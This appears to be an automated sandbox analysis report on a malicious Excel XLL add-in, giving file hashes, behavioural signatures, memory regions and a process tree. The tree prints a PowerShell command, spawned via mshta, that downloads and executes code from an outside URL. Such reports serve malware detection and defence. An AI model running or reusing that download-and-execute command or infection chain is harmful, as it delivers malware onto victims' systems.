Analysis

  • max time kernel
    133s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 19:12

General

  • Target

    3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll

  • Size

    12KB

  • MD5

    04c57a110cfba2e4d07ba93ae3813766

  • SHA1

    c971c2b16d778b044a79dc92edaefd8d13c0b81f

  • SHA256

    3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb

  • SHA512

    e783e5a0cd7b4db2c6c3a17331b876a20f16890bb5d5839fdf3cd73e565c45792422180135a0fdab18379da305dd1a095b5ac2df71e01e7318f14769fecd1907

  • SSDEEP

    192:iL29RBzDzeobchBj8JONmONlJrugrEPEjr7AhsG:829jnbcvYJO/9ugvr7Cd

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2216
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1796

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\Y19NSK22\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb.xll

    Filesize

    12KB

    MD5

    04c57a110cfba2e4d07ba93ae3813766

    SHA1

    c971c2b16d778b044a79dc92edaefd8d13c0b81f

    SHA256

    3ef3c9d76fe7e5dd9ac6ce8c0cbdcefec0c702f58e927ad5c3b16463933235eb

    SHA512

    e783e5a0cd7b4db2c6c3a17331b876a20f16890bb5d5839fdf3cd73e565c45792422180135a0fdab18379da305dd1a095b5ac2df71e01e7318f14769fecd1907

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pr0ugtmd.0vx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1796-64-0x00000000064B0000-0x00000000064FC000-memory.dmp

    Filesize

    304KB

  • memory/1796-63-0x0000000006450000-0x000000000646E000-memory.dmp

    Filesize

    120KB

  • memory/1796-62-0x0000000005EA0000-0x00000000061F4000-memory.dmp

    Filesize

    3.3MB

  • memory/1796-65-0x0000000007AA0000-0x000000000811A000-memory.dmp

    Filesize

    6.5MB

  • memory/1796-52-0x00000000055D0000-0x0000000005636000-memory.dmp

    Filesize

    408KB

  • memory/1796-51-0x0000000005560000-0x00000000055C6000-memory.dmp

    Filesize

    408KB

  • memory/1796-50-0x00000000054C0000-0x00000000054E2000-memory.dmp

    Filesize

    136KB

  • memory/1796-49-0x0000000005770000-0x0000000005D98000-memory.dmp

    Filesize

    6.2MB

  • memory/1796-48-0x0000000002EA0000-0x0000000002ED6000-memory.dmp

    Filesize

    216KB

  • memory/1796-66-0x0000000006980000-0x000000000699A000-memory.dmp

    Filesize

    104KB

  • memory/3520-10-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-7-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-15-0x00007FFE1A710000-0x00007FFE1A720000-memory.dmp

    Filesize

    64KB

  • memory/3520-17-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-19-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-18-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-16-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-13-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-12-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-9-0x00007FFE1A710000-0x00007FFE1A720000-memory.dmp

    Filesize

    64KB

  • memory/3520-11-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-0-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-8-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-14-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-6-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-5-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-4-0x00007FFE5CEED000-0x00007FFE5CEEE000-memory.dmp

    Filesize

    4KB

  • memory/3520-3-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-1-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-2-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-73-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB

  • memory/3520-89-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-90-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-92-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-91-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp

    Filesize

    64KB

  • memory/3520-93-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp

    Filesize

    2.0MB